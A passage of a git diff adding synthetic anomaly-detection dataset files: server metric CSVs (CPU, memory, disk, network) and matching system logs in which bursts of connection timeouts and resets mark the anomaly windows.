OK +Jul 15 14:34:00 sshd[10234]: ERROR: Read timeout on socket for request POST /api/v1/long-poll +Jul 15 14:34:05 kubelet[2345]: ERROR: Read timeout on socket for request POST /api/v1/long-poll +Jul 15 14:34:10 database[5432]: INFO: connection authorized: user=app_user,database=prod_db +Jul 15 14:34:15 kubelet[2345]: ERROR: Connection timeout while connecting to redis cache +Jul 15 14:34:20 kernel: ERROR: Connection timeout while connecting to redis cache +Jul 15 14:34:25 sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 49152 ssh2 +Jul 15 14:34:30 kernel: WARN: Connection reset by peer for client 192.168.10.5 +Jul 15 14:34:35 kernel: ERROR: Failed to fetch data from external API: java.net.SocketTimeoutException: connect timed out +Jul 15 14:34:40 database[5432]: ERROR: Failed to fetch data from external API: java.net.SocketTimeoutException: connect timed out +Jul 15 14:34:45 api-server[8080]: INFO request processed successfully +Jul 15 14:34:50 api-server[8080]: INFO request processed successfully +Jul 15 14:34:55 database[5432]: WARN: upstream request timeout: connection timed out to upstream service user-db:5432 +Jul 15 14:36:05 api-server[8080]: INFO request processed successfully +Jul 15 14:36:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 15 14:36:25 api-server[8080]: INFO request processed successfully +Jul 15 14:36:50 sshd[10234]: Accepted publickey for user admin from 10.0.1.5 port 49152 ssh2 +Jul 15 14:37:00 api-server[8080]: INFO request processed successfully +Jul 15 14:37:05 database[5432]: INFO: connection authorized: user=app_user,database=prod_db +Jul 15 14:37:25 database[5432]: INFO: connection authorized: user=app_user,database=prod_db diff --git a/anom_dataset/scenario_7/anom_7_4.csv b/anom_dataset/scenario_7/anom_7_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..f23d1d0525b02d8d378e8d303f5abc6c1213f47c --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T14:00:00Z,19.64,40.41,20.03,1.84,1.13 +2025-07-02T14:00:05Z,12.85,37.66,27.3,1.95,1.28 +2025-07-02T14:00:10Z,13.93,38.9,26.47,1.84,0.77 +2025-07-02T14:00:15Z,14.43,40.79,20.22,1.91,1.32 +2025-07-02T14:00:20Z,10.3,40.78,23.1,1.85,1.5 +2025-07-02T14:00:25Z,14.97,44.94,23.03,1.83,1.46 +2025-07-02T14:00:30Z,15.63,38.57,17.73,1.98,1.03 +2025-07-02T14:00:35Z,11.15,38.39,26.86,1.54,1.44 +2025-07-02T14:00:40Z,14.86,36.06,26.9,2.18,1.5 +2025-07-02T14:00:45Z,12.74,38.18,25.56,2.38,1.21 +2025-07-02T14:00:50Z,15.66,41.83,26.59,1.67,1.88 +2025-07-02T14:00:55Z,13.34,40.51,25.77,1.65,1.6 +2025-07-02T14:01:00Z,11.61,39.54,21.59,0.67,1.4 +2025-07-02T14:01:05Z,17.48,40.17,22.81,1.73,1.67 +2025-07-02T14:01:10Z,10.55,37.79,27.41,1.82,1.53 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-0,0 +1,53 @@ +Jul 02 14:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 14:00:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 14:00:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:00:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:00:50 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 14:01:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:01:05 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 14:01:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:01:40 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 14:02:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:02:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 14:02:30 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 14:02:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:02:55 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.108.46 +Jul 02 14:03:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:03:05 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.109.51 +Jul 02 14:03:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 14:03:20 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 14:03:20 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.108.193 +Jul 02 14:03:30 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.111.111 +Jul 02 14:03:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:03:40 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.109.171 +Jul 02 14:03:45 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.109.220 +Jul 02 14:03:55 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.109.177 +Jul 02 14:04:00 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.111.239 +Jul 02 14:04:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:04:05 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.108.250 +Jul 02 14:04:10 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.108.3 +Jul 02 14:04:10 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 14:04:15 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.109.122 +Jul 02 14:04:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 14:04:30 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.108.147 +Jul 02 14:04:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:04:35 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.111.218 +Jul 02 14:04:40 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.110.138 +Jul 02 14:04:45 user-db-connector[8876]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.108.204 +Jul 02 14:04:50 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.110.161 +Jul 02 14:04:55 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.109.149 +Jul 02 14:05:00 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.110.116 +Jul 02 14:05:00 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 14:05:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:05:05 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.109.164 +Jul 02 14:05:10 payment-svc[5050]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Read timeout, remote ip: 185.199.110.61 +Jul 02 14:05:15 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection timeout, remote ip: 185.199.108.74 +Jul 02 14:05:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 14:05:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:05:35 api-gateway[3109]: ERROR upstream connect error or disconnect/reset before headers. reset reason: Connection reset by peer, remote ip: 185.199.111.138 +Jul 02 14:05:50 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 14:06:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:06:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 14:06:30 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 +Jul 02 14:06:40 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 14:07:00 web-app[1123]: INFO GET /api/v1/health HTTP/1.1 200 diff --git a/anom_dataset/scenario_7/anom_7_5.csv b/anom_dataset/scenario_7/anom_7_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..2cdaffbca599c228a3648e25da5be2d9b85f889d --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,12.4,40.81,26.66,0.81,1.16 +2025-07-02T10:00:05Z,15.61,35.25,21.88,0.92,1.21 +2025-07-02T10:00:10Z,15.67,36.78,22.73,0.98,1.21 +2025-07-02T10:00:15Z,13.79,41.62,25.01,0.94,1.22 +2025-07-02T10:00:20Z,14.9,39.97,20.19,0.81,1.27 +2025-07-02T10:00:25Z,16.21,41.7,24.95,0.74,1.25 +2025-07-02T10:00:30Z,17.31,39.57,28.94,0.88,1.23 +2025-07-02T10:00:35Z,15.16,37.69,24.33,0.96,1.19 +2025-07-02T10:00:40Z,17.53,43.8,27.22,1.01,1.39 +2025-07-02T10:00:45Z,13.7,43.26,21.17,0.97,1.17 +2025-07-02T10:00:50Z,11.77,37.87,30.77,0.97,1.09 +2025-07-02T10:00:55Z,14.53,39.19,24.85,0.95,1.49 +2025-07-02T10:01:00Z,18.62,41.75,19.8,0.84,1.36 +2025-07-02T10:01:05Z,17.71,39.19,27.32,0.76,1.25 +2025-07-02T10:01:10Z,12.8,36.77,26.66,0.93,1.18 +2025-07-02T10:01:15Z,15.57,35.08,28.15,0.9,1.17 +2025-07-02T10:01:20Z,10.67,38.37,20.71,0.86,1.06 +2025-07-02T10:01:25Z,14.69,38.82,16.31,0.96,1.31 +2025-07-02T10:01:30Z,14.62,41.25,18.71,0.85,1.19 +2025-07-02T10:01:35Z,16.27,37.32,21.31,0.91,1.21 +2025-07-02T10:01:40Z,14.57,37.75,28.32,0.95,1.11 +2025-07-02T10:01:45Z,13.62,37.87,25.54,0.72,1.17 +2025-07-02T10:01:50Z,16.3,37.37,28.61,0.9,1.16 +2025-07-02T10:01:55Z,16.18,40.78,22.04,0.82,1.22 +2025-07-02T10:02:00Z,13.39,40.74,26.23,1.02,1.29 +2025-07-02T10:02:05Z,13.74,40.36,31.17,0.9,1.35 +2025-07-02T10:02:10Z,15.92,42.98,23.1,0.92,0.95 +2025-07-02T10:02:15Z,15.68,41.3,22.38,1.02,1.21 +2025-07-02T10:02:20Z,13.93,37.69,22.45,0.9,1.22 +2025-07-02T10:02:25Z,16.76,39.07,24.99,0.88,1.2 +2025-07-02T10:02:30Z,31.01,38.54,26.96,0.17,0.27 +2025-07-02T10:02:35Z,34.95,40.23,25.09,0.29,0.66 +2025-07-02T10:02:40Z,35.91,40.64,28.64,0.1,-0.17 +2025-07-02T10:02:45Z,31.7,41.11,20.33,0.22,0.49 +2025-07-02T10:02:50Z,38.75,42.33,26.2,0.26,0.55 +2025-07-02T10:02:55Z,43.68,42.86,27.07,0.1,0.89 +2025-07-02T10:03:00Z,29.89,41.49,22.43,0.11,0.56 +2025-07-02T10:03:05Z,47.19,45.52,21.41,0.13,0.14 +2025-07-02T10:03:10Z,35.74,45.25,27.88,0.58,0.37 +2025-07-02T10:03:15Z,33.99,45.6,22.06,0.41,0.69 +2025-07-02T10:03:20Z,18.87,48.11,23.6,0.28,0.8 +2025-07-02T10:03:25Z,21.44,48.56,24.15,0.1,0.29 +2025-07-02T10:03:30Z,20.58,48.14,24.67,0.28,0.37 +2025-07-02T10:03:35Z,19.49,47.93,21.34,0.19,0.34 +2025-07-02T10:03:40Z,16.28,48.01,20.35,0.44,0.4 +2025-07-02T10:03:45Z,18.04,49.52,20.37,0.14,0.82 +2025-07-02T10:03:50Z,16.49,52.45,24.31,0.32,-0.05 +2025-07-02T10:03:55Z,24.25,52.63,24.08,0.37,0.5 +2025-07-02T10:04:00Z,25.0,53.37,25.29,0.16,0.35 +2025-07-02T10:04:05Z,17.28,54.0,28.26,0.17,0.59 +2025-07-02T10:04:10Z,17.0,54.79,20.18,0.17,0.66 +2025-07-02T10:04:15Z,18.73,55.13,28.49,0.34,0.29 +2025-07-02T10:04:20Z,23.38,54.81,24.92,0.45,0.32 +2025-07-02T10:04:25Z,19.19,57.83,24.11,0.42,0.75 +2025-07-02T10:04:30Z,19.59,58.57,24.09,0.05,0.72 +2025-07-02T10:04:35Z,18.0,57.34,21.77,0.5,0.24 +2025-07-02T10:04:40Z,21.88,59.46,23.3,0.26,0.4 +2025-07-02T10:04:45Z,20.5,60.59,22.54,0.24,0.83 +2025-07-02T10:04:50Z,17.27,60.55,19.24,0.07,0.63 +2025-07-02T10:04:55Z,23.18,60.46,24.54,0.31,0.04 +2025-07-02T10:05:00Z,21.83,61.37,23.58,0.36,0.14 +2025-07-02T10:05:05Z,18.7,63.04,21.63,0.28,0.48 +2025-07-02T10:05:10Z,17.51,64.69,24.66,0.1,0.54 +2025-07-02T10:05:15Z,22.26,64.36,29.55,0.53,0.58 +2025-07-02T10:05:20Z,17.57,63.73,28.02,0.44,0.89 +2025-07-02T10:05:25Z,17.46,65.44,25.7,0.09,0.37 +2025-07-02T10:05:30Z,25.2,66.17,24.12,0.37,0.51 +2025-07-02T10:05:35Z,13.05,66.9,22.77,0.38,0.5 +2025-07-02T10:05:40Z,21.36,68.86,26.13,0.37,0.41 +2025-07-02T10:05:45Z,18.57,68.72,23.12,0.3,0.71 +2025-07-02T10:05:50Z,18.27,63.94,22.37,0.76,1.2 +2025-07-02T10:05:55Z,15.93,65.05,24.84,0.71,1.11 +2025-07-02T10:06:00Z,14.61,62.54,25.22,0.73,1.14 +2025-07-02T10:06:05Z,12.25,62.53,23.5,0.99,1.16 +2025-07-02T10:06:10Z,17.38,62.95,24.06,0.91,1.16 +2025-07-02T10:06:15Z,13.11,64.69,23.75,1.06,1.16 +2025-07-02T10:06:20Z,14.14,62.45,30.6,0.9,1.17 +2025-07-02T10:06:25Z,15.07,65.36,26.38,0.82,1.11 +2025-07-02T10:06:30Z,14.61,61.51,25.56,0.73,1.13 +2025-07-02T10:06:35Z,18.95,61.79,24.15,0.99,1.07 +2025-07-02T10:06:40Z,16.43,63.22,28.07,0.79,1.19 +2025-07-02T10:06:45Z,18.59,61.92,30.0,0.72,1.21 +2025-07-02T10:06:50Z,17.58,65.3,23.66,1.18,1.11 +2025-07-02T10:06:55Z,19.0,63.58,26.77,0.75,1.07 +2025-07-02T10:07:00Z,20.68,62.82,23.59,0.88,1.23 +2025-07-02T10:07:05Z,16.86,62.63,28.3,0.94,1.08 +2025-07-02T10:07:10Z,15.01,62.87,28.25,0.85,0.95 +2025-07-02T10:07:15Z,15.75,64.43,24.99,0.9,1.17 +2025-07-02T10:07:20Z,18.44,67.11,27.65,0.8,1.27 +2025-07-02T10:07:25Z,15.2,63.91,26.71,0.88,1.35 diff --git a/anom_dataset/scenario_7/anom_7_5.log b/anom_dataset/scenario_7/anom_7_5.log new file mode 100644 index 0000000000000000000000000000000000000000..1e42e1aa58e53329ee5d531f15a948e9d10a00f9 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_5.log @@ -0,0 +1,54 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:00 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:00:00 systemd[1]: Started Session 1 of user internal. +Jul 02 10:00:25 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:00:35 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:10 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:01:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:45 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:02:20 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:02:30 kernel: [1345.678] TCP: Connection reset by peer on port 443 +Jul 02 10:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:40 app[5432]: ERROR Connection timeout while connecting to downstream service redis-cache:6379 +Jul 02 10:02:45 app[5432]: WARN Read timeout while waiting for response from api.thirdparty.com +Jul 02 10:02:50 kernel: [1345.678] TCP: Connection reset by peer on port 443 +Jul 02 10:02:55 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:03:00 app[5432]: ERROR Connection timeout while connecting to downstream service redis-cache:6379 +Jul 02 10:03:05 app[5432]: WARN Read timeout while waiting for response from api.thirdparty.com +Jul 02 10:03:10 kernel: [1345.678] TCP: Connection reset by peer on port 443 +Jul 02 10:03:20 app[5432]: ERROR Connection timeout while connecting to downstream service redis-cache:6379 +Jul 02 10:03:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:25 app[5432]: WARN Read timeout while waiting for response from api.thirdparty.com +Jul 02 10:03:30 kernel: [1345.678] TCP: Connection reset by peer on port 443 +Jul 02 10:03:30 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:03:40 app[5432]: ERROR Connection timeout while connecting to downstream service redis-cache:6379 +Jul 02 10:03:45 app[5432]: WARN Read timeout while waiting for response from api.thirdparty.com +Jul 02 10:03:50 kernel: [1345.678] TCP: Connection reset by peer on port 443 +Jul 02 10:04:00 app[5432]: ERROR Connection timeout while connecting to downstream service redis-cache:6379 +Jul 02 10:04:05 app[5432]: WARN Read timeout while waiting for response from api.thirdparty.com +Jul 02 10:04:05 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:04:10 kernel: [1345.678] TCP: Connection reset by peer on port 443 +Jul 02 10:04:10 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:20 app[5432]: ERROR Connection timeout while connecting to downstream service redis-cache:6379 +Jul 02 10:04:25 app[5432]: WARN Read timeout while waiting for response from api.thirdparty.com +Jul 02 10:04:30 kernel: [1345.678] TCP: Connection reset by peer on port 443 +Jul 02 10:04:40 app[5432]: ERROR Connection timeout while connecting to downstream service redis-cache:6379 +Jul 02 10:04:40 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:04:45 app[5432]: WARN Read timeout while waiting for response from api.thirdparty.com +Jul 02 10:04:50 kernel: [1345.678] TCP: Connection reset by peer on port 443 +Jul 02 10:05:00 app[5432]: ERROR Connection timeout while connecting to downstream service redis-cache:6379 +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:05 app[5432]: WARN Read timeout while waiting for response from api.thirdparty.com +Jul 02 10:05:10 kernel: [1345.678] TCP: Connection reset by peer on port 443 +Jul 02 10:05:15 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:05:20 app[5432]: ERROR Connection timeout while connecting to downstream service redis-cache:6379 +Jul 02 10:05:25 app[5432]: WARN Read timeout while waiting for response from api.thirdparty.com +Jul 02 10:05:30 kernel: [1345.678] TCP: Connection reset by peer on port 443 +Jul 02 10:05:40 app[5432]: ERROR Connection timeout while connecting to downstream service redis-cache:6379 +Jul 02 10:05:45 app[5432]: WARN Read timeout while waiting for response from api.thirdparty.com +Jul 02 10:05:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:50 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:06:25 nginx[1123]: GET /api/health HTTP/1.1 200 OK +Jul 02 10:06:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:07:00 nginx[1123]: GET /api/health HTTP/1.1 200 OK diff --git a/anom_dataset/scenario_7/anom_7_6.csv b/anom_dataset/scenario_7/anom_7_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..ec32b10eecae86600a5e82b3f376e198879ea5bc --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,14.29,41.1,24.08,1.07,1.34 +2025-07-02T10:00:05Z,15.78,39.86,26.8,0.9,1.31 +2025-07-02T10:00:10Z,16.96,39.2,21.9,0.76,1.2 +2025-07-02T10:00:15Z,14.39,41.84,25.72,0.78,1.21 +2025-07-02T10:00:20Z,16.16,39.82,25.17,1.04,1.24 +2025-07-02T10:00:25Z,12.71,40.29,24.44,0.9,1.08 +2025-07-02T10:00:30Z,12.97,39.87,21.92,0.88,1.19 +2025-07-02T10:00:35Z,14.36,39.7,24.19,0.89,1.3 +2025-07-02T10:00:40Z,16.72,41.73,22.02,0.79,1.42 +2025-07-02T10:00:45Z,16.44,41.47,23.8,0.95,1.09 +2025-07-02T10:00:50Z,19.19,39.1,25.22,0.99,1.29 +2025-07-02T10:00:55Z,11.93,38.61,24.21,1.05,1.18 +2025-07-02T10:01:00Z,16.52,41.2,25.17,0.99,0.97 +2025-07-02T10:01:05Z,12.49,39.49,25.76,0.93,1.1 +2025-07-02T10:01:10Z,11.41,41.31,23.36,0.92,1.09 +2025-07-02T10:01:15Z,14.6,40.32,26.65,0.88,1.36 +2025-07-02T10:01:20Z,17.31,41.03,27.55,0.82,1.38 +2025-07-02T10:01:25Z,12.06,40.32,23.69,0.93,1.34 +2025-07-02T10:01:30Z,13.26,39.42,26.92,1.08,1.21 +2025-07-02T10:01:35Z,12.53,41.64,24.57,0.85,1.2 +2025-07-02T10:01:40Z,11.76,39.81,28.49,0.96,1.26 +2025-07-02T10:01:45Z,17.63,40.25,25.69,1.02,1.36 +2025-07-02T10:01:50Z,17.26,39.01,19.6,0.75,1.1 +2025-07-02T10:01:55Z,16.24,41.02,26.37,0.89,1.14 +2025-07-02T10:02:00Z,16.42,39.71,18.88,0.88,1.11 +2025-07-02T10:02:05Z,15.9,40.21,27.54,0.94,1.38 +2025-07-02T10:02:10Z,14.38,39.12,27.53,0.81,1.37 +2025-07-02T10:02:15Z,17.58,42.01,27.52,0.73,1.19 +2025-07-02T10:02:20Z,16.01,38.99,29.68,0.76,1.06 +2025-07-02T10:02:25Z,14.26,38.98,23.88,0.88,0.86 +2025-07-02T10:02:30Z,16.33,41.4,28.22,0.84,1.42 +2025-07-02T10:02:35Z,17.99,40.67,28.02,1.08,1.11 +2025-07-02T10:02:40Z,16.53,39.83,23.44,0.88,1.27 +2025-07-02T10:02:45Z,15.29,39.62,23.64,0.92,1.01 +2025-07-02T10:02:50Z,13.32,39.38,26.52,0.84,1.31 +2025-07-02T10:02:55Z,17.11,40.97,25.26,0.85,1.13 +2025-07-02T10:03:00Z,32.13,40.5,24.58,0.35,0.56 +2025-07-02T10:03:05Z,31.88,41.1,24.62,0.28,0.73 +2025-07-02T10:03:10Z,31.66,41.67,26.25,0.2,0.49 +2025-07-02T10:03:15Z,26.86,42.15,22.28,0.46,0.79 +2025-07-02T10:03:20Z,28.79,42.64,25.56,0.23,0.55 +2025-07-02T10:03:25Z,30.58,43.12,26.4,0.38,0.68 +2025-07-02T10:03:30Z,37.02,43.68,25.01,0.27,0.76 +2025-07-02T10:03:35Z,29.52,44.15,26.0,0.25,0.44 +2025-07-02T10:03:40Z,30.55,44.72,26.97,0.25,0.37 +2025-07-02T10:03:45Z,37.63,45.15,25.6,0.28,0.71 +2025-07-02T10:03:50Z,36.77,45.69,26.02,0.19,0.83 +2025-07-02T10:03:55Z,32.5,46.11,23.95,0.25,0.78 +2025-07-02T10:04:00Z,35.93,46.71,27.35,0.2,0.55 +2025-07-02T10:04:05Z,30.67,47.16,24.8,0.21,0.65 +2025-07-02T10:04:10Z,29.69,47.65,25.51,0.26,0.55 +2025-07-02T10:04:15Z,33.93,48.15,25.9,0.23,0.71 +2025-07-02T10:04:20Z,29.92,48.6,25.42,0.3,0.4 +2025-07-02T10:04:25Z,34.17,49.1,24.33,0.51,0.76 +2025-07-02T10:04:30Z,31.4,49.52,26.34,0.23,0.6 +2025-07-02T10:04:35Z,27.74,50.12,25.56,0.21,0.83 +2025-07-02T10:04:40Z,30.34,50.53,24.32,0.4,0.42 +2025-07-02T10:04:45Z,25.68,50.97,23.81,0.44,0.76 +2025-07-02T10:04:50Z,32.44,51.55,25.19,0.2,0.38 +2025-07-02T10:04:55Z,28.4,52.12,24.57,0.23,0.81 +2025-07-02T10:05:00Z,29.95,52.54,25.9,0.39,0.81 +2025-07-02T10:05:05Z,29.72,53.12,25.63,0.44,0.78 +2025-07-02T10:05:10Z,28.43,53.54,23.37,0.3,0.6 +2025-07-02T10:05:15Z,22.84,54.0,26.4,0.28,0.8 +2025-07-02T10:05:20Z,27.95,54.56,23.85,0.36,0.51 +2025-07-02T10:05:25Z,25.36,55.07,24.01,0.35,0.51 +2025-07-02T10:05:30Z,25.52,55.61,26.56,0.48,0.49 +2025-07-02T10:05:35Z,26.63,56.18,25.25,0.19,0.6 +2025-07-02T10:05:40Z,23.55,56.59,25.12,0.3,0.44 +2025-07-02T10:05:45Z,24.94,57.14,26.42,0.27,0.48 +2025-07-02T10:05:50Z,28.66,57.69,25.36,0.31,0.83 +2025-07-02T10:05:55Z,20.71,58.2,24.59,0.35,0.72 +2025-07-02T10:06:00Z,13.8,57.82,20.12,0.55,1.17 +2025-07-02T10:06:05Z,15.27,56.68,26.77,0.84,0.88 +2025-07-02T10:06:10Z,12.69,54.06,29.8,0.91,0.92 +2025-07-02T10:06:15Z,16.09,53.97,28.33,0.96,0.76 +2025-07-02T10:06:20Z,14.4,51.83,30.23,0.85,1.29 +2025-07-02T10:06:25Z,13.97,50.51,24.75,0.95,1.39 +2025-07-02T10:06:30Z,15.49,49.46,25.22,0.82,1.42 +2025-07-02T10:06:35Z,15.39,49.72,22.15,0.93,1.18 +2025-07-02T10:06:40Z,13.35,49.55,27.06,0.8,1.32 +2025-07-02T10:06:45Z,16.57,49.08,23.61,0.95,1.4 +2025-07-02T10:06:50Z,11.56,47.99,30.14,1.01,1.49 +2025-07-02T10:06:55Z,16.72,43.63,26.2,0.83,0.84 +2025-07-02T10:07:00Z,17.68,43.91,27.13,0.86,1.42 +2025-07-02T10:07:05Z,13.69,45.08,29.04,0.96,1.24 +2025-07-02T10:07:10Z,12.31,43.23,26.63,1.01,1.11 +2025-07-02T10:07:15Z,16.11,41.06,29.4,0.94,0.98 +2025-07-02T10:07:20Z,14.85,42.07,23.67,0.89,1.19 +2025-07-02T10:07:25Z,16.44,41.02,22.88,0.81,1.31 diff --git a/anom_dataset/scenario_7/anom_7_6.log b/anom_dataset/scenario_7/anom_7_6.log new file mode 100644 index 0000000000000000000000000000000000000000..0347abf5e643e943f3a3919db4d1b6af3a494a80 --- /dev/null +++ b/anom_dataset/scenario_7/anom_7_6.log @@ -0,0 +1,86 @@ +Jul 02 10:00:00 kubelet[2345]: INFO: routine sync completed for pod backend-app-xyz +Jul 02 10:00:26 kubelet[2345]: INFO: Successfully probed container health-check +Jul 02 10:00:50 systemd[1]: Started Session 89 of user root. +Jul 02 10:01:21 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:27 kubelet[2345]: INFO: routine sync completed for pod backend-app-xyz +Jul 02 10:01:53 kubelet[2345]: INFO: routine sync completed for pod backend-app-xyz +Jul 02 10:01:58 kubelet[2345]: INFO: Successfully probed container health-check +Jul 02 10:02:05 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:02:14 kubelet[2345]: INFO: routine sync completed for pod backend-app-xyz +Jul 02 10:02:28 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:02:36 kubelet[2345]: INFO: routine sync completed for pod backend-app-xyz +Jul 02 10:02:55 systemd[1]: Started Session 24 of user root. +Jul 02 10:03:00 app-server[22882]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:03:02 app-server[21495]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:03:08 app-server[16222]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:03:10 app-server[19060]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:03:13 api-gateway[14284]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:03:17 app-server[22527]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:03:19 api-gateway[19130]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:03:21 api-gateway[11770]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:03:25 app-server[12813]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:03:26 app-server[11718]: ERROR: Connection reset by peer while reading from client socket +Jul 02 10:03:29 app-server[10372]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:03:33 app-server[12745]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:03:35 app-server[18659]: ERROR: Connection to database at 192.168.1.15:5432 failed: Connection timeout +Jul 02 10:03:39 kubelet[2345]: INFO: routine sync completed for pod backend-app-xyz +Jul 02 10:03:41 api-gateway[19901]: WARN: Upstream service call to user-service failed: Read timeout after 5000ms +Jul 02 10:03:43 app-server[24338]: ERROR: Connection reset by peer while reading from client socket +Jul 